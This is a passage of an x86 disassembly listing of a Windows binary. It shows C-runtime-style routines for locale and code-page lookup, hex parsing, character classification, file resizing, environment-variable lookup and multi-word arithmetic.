; ---------------------------------------------------------------------------
loc_42C7E5: ; CODE XREF: sub_42C760+7Fj
lea eax, [ebp+var_8]
mov [ebp+arg_0], eax
loc_42C7EB: ; CODE XREF: sub_42C760+51j
; sub_42C760+66j
mov ecx, [ebp+arg_0]
push ecx
call sub_4173D0
add esp, 4
loc_42C7F7: ; CODE XREF: sub_42C760+49j
; sub_42C760+83j
mov esp, ebp
pop ebp
retn
sub_42C760 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C800 proc near ; CODE XREF: sub_42C160+16Ep
; sub_42C680+6Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov ax, [ebp+arg_0]
mov word ptr [ebp+var_4], ax
mov [ebp+var_8], 0
jmp short loc_42C820
; ---------------------------------------------------------------------------
loc_42C817: ; CODE XREF: sub_42C800:loc_42C844j
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_42C820: ; CODE XREF: sub_42C800+15j
cmp [ebp+var_8], 0Ah
jnb short loc_42C846
mov edx, [ebp+var_4]
and edx, 0FFFFh
mov eax, [ebp+var_8]
xor ecx, ecx
mov cx, word_444AD4[eax*2]
cmp edx, ecx
jnz short loc_42C844
xor eax, eax
jmp short loc_42C84B
; ---------------------------------------------------------------------------
loc_42C844: ; CODE XREF: sub_42C800+3Ej
jmp short loc_42C817
; ---------------------------------------------------------------------------
loc_42C846: ; CODE XREF: sub_42C800+24j
mov eax, 1
loc_42C84B: ; CODE XREF: sub_42C800+42j
mov esp, ebp
pop ebp
retn
sub_42C800 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C850 proc near ; CODE XREF: sub_42C160+260p
; sub_42C160+2E6p ...
var_7C = byte ptr -7Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7Ch
push esi
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 3FFh
and eax, 0FFFFh
or ah, 4
and eax, 0FFFFh
mov [ebp+var_4], eax
push 78h
lea ecx, [ebp+var_7C]
push ecx
push 1
mov edx, [ebp+var_4]
push edx
call dword_4DB428
test eax, eax
jnz short loc_42C88E
xor eax, eax
jmp short loc_42C8D2
; ---------------------------------------------------------------------------
loc_42C88E: ; CODE XREF: sub_42C850+38j
lea eax, [ebp+var_7C]
push eax
call sub_42CAC0
add esp, 4
cmp [ebp+arg_0], eax
jz short loc_42C8CD
cmp [ebp+arg_4], 0
jz short loc_42C8CD
mov ecx, dword_4DB418
push ecx
call sub_42CB40
add esp, 4
mov esi, eax
mov edx, dword_4DB418
push edx
call sub_414BE0
add esp, 4
cmp esi, eax
jnz short loc_42C8CD
xor eax, eax
jmp short loc_42C8D2
; ---------------------------------------------------------------------------
loc_42C8CD: ; CODE XREF: sub_42C850+4Dj
; sub_42C850+53j ...
mov eax, 1
loc_42C8D2: ; CODE XREF: sub_42C850+3Cj
; sub_42C850+7Bj
pop esi
mov esp, ebp
pop ebp
retn
sub_42C850 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C8E0 proc near ; CODE XREF: sub_42BE10+Fp
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 98h
mov [ebp+var_94], 94h
lea eax, [ebp+var_94]
push eax
nop
call near ptr 26F053Fh
test eax, eax
jz short loc_42C919
cmp [ebp+var_84], 2
jnz short loc_42C919
mov [ebp+var_98], 1
jmp short loc_42C923
; ---------------------------------------------------------------------------
loc_42C919: ; CODE XREF: sub_42C8E0+22j
; sub_42C8E0+2Bj
mov [ebp+var_98], 0
loc_42C923: ; CODE XREF: sub_42C8E0+37j
mov eax, [ebp+var_98]
mov esp, ebp
pop ebp
retn
sub_42C8E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C930 proc near ; DATA XREF: sub_42BE10:loc_42BE32o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp+var_10], 0
mov [ebp+var_4], 1Ah
mov [ebp+var_8], 0
loc_42C94B: ; CODE XREF: sub_42C930:loc_42CA93j
mov eax, [ebp+var_10]
cmp eax, [ebp+var_4]
jg loc_42CA98
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
cdq
sub eax, edx
sar eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
imul ecx, 2Ch
mov edx, [ebp+arg_0]
cmp edx, dword_444630[ecx]
jnz loc_42CA6E
mov eax, [ebp+arg_4]
mov [ebp+var_14], eax
cmp [ebp+var_14], 0Bh
ja short loc_42C9A7
cmp [ebp+var_14], 0Bh
jz loc_42CA19
cmp [ebp+var_14], 1
jz short loc_42C9C4
cmp [ebp+var_14], 3
jz short loc_42C9E6
cmp [ebp+var_14], 7
jz short loc_42CA08
jmp loc_42CA38
; ---------------------------------------------------------------------------
loc_42C9A7: ; CODE XREF: sub_42C930+54j
cmp [ebp+var_14], 1001h
jz short loc_42C9D5
cmp [ebp+var_14], 1002h
jz short loc_42C9F7
cmp [ebp+var_14], 1004h
jz short loc_42CA2A
jmp short loc_42CA38
; ---------------------------------------------------------------------------
loc_42C9C4: ; CODE XREF: sub_42C930+64j
mov ecx, [ebp+var_C]
imul ecx, 2Ch
add ecx, offset a040a ; "040a"
mov [ebp+var_8], ecx
jmp short loc_42CA38
; ---------------------------------------------------------------------------
loc_42C9D5: ; CODE XREF: sub_42C930+7Ej
mov edx, [ebp+var_C]
imul edx, 2Ch
mov eax, off_44463C[edx]
mov [ebp+var_8], eax
jmp short loc_42CA38
; ---------------------------------------------------------------------------
loc_42C9E6: ; CODE XREF: sub_42C930+6Aj
mov ecx, [ebp+var_C]
imul ecx, 2Ch
add ecx, offset off_444640
mov [ebp+var_8], ecx
jmp short loc_42CA38
; ---------------------------------------------------------------------------
loc_42C9F7: ; CODE XREF: sub_42C930+87j
mov edx, [ebp+var_C]
imul edx, 2Ch
mov eax, off_444644[edx]
mov [ebp+var_8], eax
jmp short loc_42CA38
; ---------------------------------------------------------------------------
loc_42CA08: ; CODE XREF: sub_42C930+70j
mov ecx, [ebp+var_C]
imul ecx, 2Ch
add ecx, offset off_444648
mov [ebp+var_8], ecx
jmp short loc_42CA38
; ---------------------------------------------------------------------------
loc_42CA19: ; CODE XREF: sub_42C930+5Aj
mov edx, [ebp+var_C]
imul edx, 2Ch
add edx, offset dword_44464C
mov [ebp+var_8], edx
jmp short loc_42CA38
; ---------------------------------------------------------------------------
loc_42CA2A: ; CODE XREF: sub_42C930+90j
mov eax, [ebp+var_C]
imul eax, 2Ch
add eax, offset a1252 ; "1252"
mov [ebp+var_8], eax
loc_42CA38: ; CODE XREF: sub_42C930+72j
; sub_42C930+92j ...
cmp [ebp+var_8], 0
jz short loc_42CA44
cmp [ebp+arg_C], 1
jge short loc_42CA46
loc_42CA44: ; CODE XREF: sub_42C930+10Cj
jmp short loc_42CA98
; ---------------------------------------------------------------------------
loc_42CA46: ; CODE XREF: sub_42C930+112j
mov ecx, [ebp+arg_C]
sub ecx, 1
push ecx
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_417770
add esp, 0Ch
mov ecx, [ebp+arg_8]
add ecx, [ebp+arg_C]
mov byte ptr [ecx-1], 0
mov eax, 1
jmp short loc_42CAAE
; ---------------------------------------------------------------------------
loc_42CA6E: ; CODE XREF: sub_42C930+44j
mov edx, [ebp+var_C]
imul edx, 2Ch
mov eax, [ebp+arg_0]
cmp eax, dword_444630[edx]
jnb short loc_42CA8A
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42CA93
; ---------------------------------------------------------------------------
loc_42CA8A: ; CODE XREF: sub_42C930+14Dj
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_10], edx
loc_42CA93: ; CODE XREF: sub_42C930+158j
jmp loc_42C94B
; ---------------------------------------------------------------------------
loc_42CA98: ; CODE XREF: sub_42C930+21j
; sub_42C930:loc_42CA44j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call near ptr 26F0000h
nop
loc_42CAAE: ; CODE XREF: sub_42C930+13Cj
mov esp, ebp
pop ebp
retn 10h
sub_42C930 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CAC0 proc near ; CODE XREF: sub_42C160+Ap
; sub_42C510+Ap ...
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
loc_42CACD: ; CODE XREF: sub_42CAC0+6Dj
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_8], cl
movsx edx, [ebp+var_8]
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
test edx, edx
jz short loc_42CB2F
movsx ecx, [ebp+var_8]
cmp ecx, 61h
jl short loc_42CB02
movsx edx, [ebp+var_8]
cmp edx, 66h
jg short loc_42CB02
mov al, [ebp+var_8]
add al, 0D9h
mov [ebp+var_8], al
jmp short loc_42CB1C
; ---------------------------------------------------------------------------
loc_42CB02: ; CODE XREF: sub_42CAC0+2Dj
; sub_42CAC0+36j
movsx ecx, [ebp+var_8]
cmp ecx, 41h
jl short loc_42CB1C
movsx edx, [ebp+var_8]
cmp edx, 46h
jg short loc_42CB1C
mov al, [ebp+var_8]
add al, 0F9h
mov [ebp+var_8], al
loc_42CB1C: ; CODE XREF: sub_42CAC0+40j
; sub_42CAC0+49j ...
mov ecx, [ebp+var_4]
shl ecx, 4
movsx edx, [ebp+var_8]
lea eax, [ecx+edx-30h]
mov [ebp+var_4], eax
jmp short loc_42CACD
; ---------------------------------------------------------------------------
loc_42CB2F: ; CODE XREF: sub_42CAC0+24j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42CAC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CB40 proc near ; CODE XREF: sub_42C0A0+60p
; sub_42C490+39p ...
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_4], cl
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
loc_42CB5E: ; CODE XREF: sub_42CB40+5Cj
movsx eax, [ebp+var_4]
cmp eax, 41h
jl short loc_42CB70
movsx ecx, [ebp+var_4]
cmp ecx, 5Ah
jle short loc_42CB82
loc_42CB70: ; CODE XREF: sub_42CB40+25j
movsx edx, [ebp+var_4]
cmp edx, 61h
jl short loc_42CB9E
movsx eax, [ebp+var_4]
cmp eax, 7Ah
jg short loc_42CB9E
loc_42CB82: ; CODE XREF: sub_42CB40+2Ej
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ebp+var_4], al
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
jmp short loc_42CB5E
; ---------------------------------------------------------------------------
loc_42CB9E: ; CODE XREF: sub_42CB40+37j
; sub_42CB40+40j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_42CB40 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 0
mov eax, [ebp+8]
push eax
call sub_42CD30
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 3
push 0
mov eax, [ebp+8]
push eax
call sub_42CD30
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 2
push 0
mov eax, [ebp+8]
push eax
call sub_42CD30
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 107h
mov eax, [ebp+8]
push eax
call sub_42CD30
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 103h
mov eax, [ebp+8]
push eax
call sub_42CD30
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 3
push 117h
mov eax, [ebp+8]
push eax
call sub_42CD30
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 3
push 157h
mov eax, [ebp+8]
push eax
call sub_42CD30
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 2
push 10h
mov eax, [ebp+8]
push eax
call sub_42CD30
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CCB0 proc near ; CODE XREF: ___:0042615Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 4
push 0
mov eax, [ebp+arg_0]
push eax
call sub_42CD30
add esp, 0Ch
pop ebp
retn
sub_42CCB0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 8
push 0
mov eax, [ebp+8]
push eax
call sub_42CD30
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4DB564, 3A4h
jnz short loc_42CD1D
push 3
push 0
mov eax, [ebp+8]
push eax
call sub_42CD30
add esp, 0Ch
test eax, eax
jz short loc_42CD1D
mov dword ptr [ebp-4], 1
jmp short loc_42CD24
; ---------------------------------------------------------------------------
loc_42CD1D: ; CODE XREF: ___:0042CCFEj
; ___:0042CD12j
mov dword ptr [ebp-4], 0
loc_42CD24: ; CODE XREF: ___:0042CD1Bj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CD30 proc near ; CODE XREF: ___:0042CBBBp
; ___:0042CBDBp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
and eax, 0FFh
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, byte_4DB681[ecx]
and edx, [ebp+arg_8]
test edx, edx
jnz short loc_42CD84
cmp [ebp+arg_4], 0
jz short loc_42CD6E
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, word_443C86[eax*2]
and ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
jmp short loc_42CD75
; ---------------------------------------------------------------------------
loc_42CD6E: ; CODE XREF: sub_42CD30+27j
mov [ebp+var_4], 0
loc_42CD75: ; CODE XREF: sub_42CD30+3Cj
cmp [ebp+var_4], 0
jnz short loc_42CD84
mov [ebp+var_8], 0
jmp short loc_42CD8B
; ---------------------------------------------------------------------------
loc_42CD84: ; CODE XREF: sub_42CD30+21j
; sub_42CD30+49j
mov [ebp+var_8], 1
loc_42CD8B: ; CODE XREF: sub_42CD30+52j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_42CD30 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
cmp eax, dword_4DB560
jnb short loc_42CDD1
mov ecx, [ebp+8]
sar ecx, 5
mov edx, [ebp+8]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_42CDE1
loc_42CDD1: ; CODE XREF: ___:0042CDADj
call sub_420520
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_42CE0F
; ---------------------------------------------------------------------------
loc_42CDE1: ; CODE XREF: ___:0042CDCFj
mov edx, [ebp+8]
push edx
call sub_427BE0
add esp, 4
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_42CE20
add esp, 8
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_427C70
add esp, 4
mov eax, [ebp-4]
loc_42CE0F: ; CODE XREF: ___:0042CDDFj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CE20 proc near ; CODE XREF: sub_428050+44Cp
; ___:0042CDF5p
var_1024 = dword ptr -1024h
var_1020 = dword ptr -1020h
var_101C = dword ptr -101Ch
var_1018 = dword ptr -1018h
var_1014 = dword ptr -1014h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = byte ptr -1004h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1024h
call sub_417E20
push ebx
push esi
push edi
lea eax, [ebp+var_1004]
mov [ebp+var_1014], eax
mov [ebp+var_101C], 0
loc_42CE46: ; CODE XREF: sub_42CE20+51j
cmp [ebp+arg_4], 0
jge short loc_42CE6D
push offset dword_434D1C
push 0
push 81h
push offset dword_434D10
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_42CE6D
int 3 ; Trap to Debugger
loc_42CE6D: ; CODE XREF: sub_42CE20+2Aj
; sub_42CE20+4Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_42CE46
push 1
push 0
mov edx, [ebp+arg_0]
push edx
call sub_4254B0
add esp, 0Ch
mov [ebp+var_100C], eax
cmp [ebp+var_100C], 0FFFFFFFFh
jz short loc_42CEB1
push 2
push 0
mov eax, [ebp+arg_0]
push eax
call sub_4254B0
add esp, 0Ch
mov [ebp+var_1010], eax
cmp [ebp+var_1010], 0FFFFFFFFh
jnz short loc_42CEB9
loc_42CEB1: ; CODE XREF: sub_42CE20+70j
or eax, 0FFFFFFFFh
jmp loc_42D049
; ---------------------------------------------------------------------------
loc_42CEB9: ; CODE XREF: sub_42CE20+8Fj
mov ecx, [ebp+arg_4]
sub ecx, [ebp+var_1010]
mov [ebp+var_1018], ecx
cmp [ebp+var_1018], 0
jle loc_42CFD0
push 1000h
push 0
mov edx, [ebp+var_1014]
push edx
call sub_417070
add esp, 0Ch
push 8000h
mov eax, [ebp+arg_0]
push eax
call sub_4300D0
add esp, 8
mov [ebp+var_4], eax
loc_42CEFF: ; CODE XREF: sub_42CE20+198j
cmp [ebp+var_1018], 1000h
jl short loc_42CF17
mov [ebp+var_1020], 1000h
jmp short loc_42CF23
; ---------------------------------------------------------------------------
loc_42CF17: ; CODE XREF: sub_42CE20+E9j
mov ecx, [ebp+var_1018]
mov [ebp+var_1020], ecx
loc_42CF23: ; CODE XREF: sub_42CE20+F5j
mov edx, [ebp+var_1020]
mov [ebp+var_1008], edx
cmp [ebp+var_1018], 1000h
jl short loc_42CF47
mov [ebp+var_1024], 1000h
jmp short loc_42CF53
; ---------------------------------------------------------------------------
loc_42CF47: ; CODE XREF: sub_42CE20+119j
mov eax, [ebp+var_1018]
mov [ebp+var_1024], eax
loc_42CF53: ; CODE XREF: sub_42CE20+125j
mov ecx, [ebp+var_1024]
push ecx
mov edx, [ebp+var_1014]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_425910
add esp, 0Ch
mov [ebp+var_1008], eax
cmp [ebp+var_1008], 0FFFFFFFFh
jnz short loc_42CF9F
call sub_420530
cmp dword ptr [eax], 5
jnz short loc_42CF91
call sub_420520
mov dword ptr [eax], 0Dh
loc_42CF91: ; CODE XREF: sub_42CE20+164j
mov ecx, [ebp+var_1008]
mov [ebp+var_101C], ecx
jmp short loc_42CFBE
; ---------------------------------------------------------------------------
loc_42CF9F: ; CODE XREF: sub_42CE20+15Aj
mov edx, [ebp+var_1018]
sub edx, [ebp+var_1008]
mov [ebp+var_1018], edx
cmp [ebp+var_1018], 0
jg loc_42CEFF
loc_42CFBE: ; CODE XREF: sub_42CE20+17Dj
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4300D0
add esp, 8
jmp short loc_42D02E
; ---------------------------------------------------------------------------
loc_42CFD0: ; CODE XREF: sub_42CE20+AFj
cmp [ebp+var_1018], 0
jge short loc_42D02E
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4254B0
add esp, 0Ch
mov ecx, [ebp+arg_0]
push ecx
call sub_427A60
add esp, 4
push eax
call near ptr 2620000h
nop
neg eax
sbb eax, eax
neg eax
dec eax
mov [ebp+var_101C], eax
cmp [ebp+var_101C], 0FFFFFFFFh
jnz short loc_42D02E
call sub_420520
mov dword ptr [eax], 0Dh
nop
call near ptr 26908EFh
mov esi, eax
call sub_420530
mov [eax], esi
loc_42D02E: ; CODE XREF: sub_42CE20+1AEj
; sub_42CE20+1B7j ...
push 0
mov edx, [ebp+var_100C]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4254B0
add esp, 0Ch
mov eax, [ebp+var_101C]
loc_42D049: ; CODE XREF: sub_42CE20+94j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42CE20 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push 0Ch
call sub_41B780
add esp, 4
mov eax, [ebp+8]
push eax
call sub_42D080
add esp, 4
mov [ebp-4], eax
push 0Ch
call sub_41B820
add esp, 4
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D080 proc near ; CODE XREF: sub_428F10+3Ap
; ___:0042D062p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword_4DB0CC
mov [ebp+var_8], eax
cmp dword_4DC7C4, 0
jnz short loc_42D09E
xor eax, eax
jmp loc_42D142
; ---------------------------------------------------------------------------
loc_42D09E: ; CODE XREF: sub_42D080+15j
cmp [ebp+var_8], 0
jnz short loc_42D0C6
cmp dword_4DB0D4, 0
jz short loc_42D0C6
call sub_4301F0
test eax, eax
jz short loc_42D0BD
xor eax, eax
jmp loc_42D142
; ---------------------------------------------------------------------------
loc_42D0BD: ; CODE XREF: sub_42D080+34j
mov ecx, dword_4DB0CC
mov [ebp+var_8], ecx
loc_42D0C6: ; CODE XREF: sub_42D080+22j
; sub_42D080+2Bj
cmp [ebp+var_8], 0
jz short loc_42D140
cmp [ebp+arg_0], 0
jz short loc_42D140
mov edx, [ebp+arg_0]
push edx
call sub_414BE0
add esp, 4
mov [ebp+var_4], eax
loc_42D0E1: ; CODE XREF: sub_42D080+BEj
mov eax, [ebp+var_8]
cmp dword ptr [eax], 0
jz short loc_42D140
mov ecx, [ebp+var_8]
mov edx, [ecx]
push edx
call sub_414BE0
add esp, 4
cmp eax, [ebp+var_4]
jbe short loc_42D135
mov eax, [ebp+var_8]
mov ecx, [eax]
mov edx, [ebp+var_4]
movsx eax, byte ptr [ecx+edx]
cmp eax, 3Dh
jnz short loc_42D135
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax]
push ecx
call sub_4301A0
add esp, 0Ch
test eax, eax
jnz short loc_42D135
mov edx, [ebp+var_8]
mov eax, [edx]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx+1]
jmp short loc_42D142
; ---------------------------------------------------------------------------
loc_42D135: ; CODE XREF: sub_42D080+7Aj
; sub_42D080+8Bj ...
mov edx, [ebp+var_8]
add edx, 4
mov [ebp+var_8], edx
jmp short loc_42D0E1
; ---------------------------------------------------------------------------
loc_42D140: ; CODE XREF: sub_42D080+4Aj
; sub_42D080+50j ...
xor eax, eax
loc_42D142: ; CODE XREF: sub_42D080+19j
; sub_42D080+38j ...
mov esp, ebp
pop ebp
retn
sub_42D080 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D150 proc near ; CODE XREF: sub_429D30+53p
; sub_429D30+94p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
add eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
cmp ecx, [ebp+arg_0]
jb short loc_42D176
mov edx, [ebp+var_4]
cmp edx, [ebp+arg_4]
jnb short loc_42D17F
loc_42D176: ; CODE XREF: sub_42D150+1Cj
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_42D17F: ; CODE XREF: sub_42D150+24j
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_42D150 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D190 proc near ; CODE XREF: sub_42D310+77p
; sub_42D310+AAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_42D150
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_42D1E7
mov edx, [ebp+arg_0]
add edx, 4
push edx
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call sub_42D150
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_42D1E7
mov edx, [ebp+arg_0]
mov eax, [edx+8]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
loc_42D1E7: ; CODE XREF: sub_42D190+25j
; sub_42D190+46j
mov edx, [ebp+arg_0]
add edx, 4
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
push eax
call sub_42D150
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_42D21C
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
loc_42D21C: ; CODE XREF: sub_42D190+7Bj
mov ecx, [ebp+arg_0]
add ecx, 8
push ecx
mov edx, [ebp+arg_4]
mov eax, [edx+8]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
push edx
call sub_42D150
add esp, 0Ch
mov esp, ebp
pop ebp
retn
sub_42D190 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D240 proc near ; CODE XREF: sub_42D310+5Bp
; sub_42D310+67p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 80000000h
neg ecx
sbb ecx, ecx
neg ecx
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
and eax, 80000000h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
shl edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
shl edx, 1
or edx, [ebp+var_4]
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shl edx, 1
or edx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov esp, ebp
pop ebp
retn
sub_42D240 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D2A0 proc near ; CODE XREF: sub_42DFD0+382p
; sub_4302A0+316p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 1
neg ecx
sbb ecx, ecx
and ecx, 80000000h
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
and eax, 1
neg eax
sbb eax, eax
and eax, 80000000h
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shr edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
shr edx, 1
or edx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
shr edx, 1
or edx, [ebp+var_4]
mov eax, [ebp+arg_0]
mov [eax], edx
mov esp, ebp
pop ebp
retn
sub_42D2A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
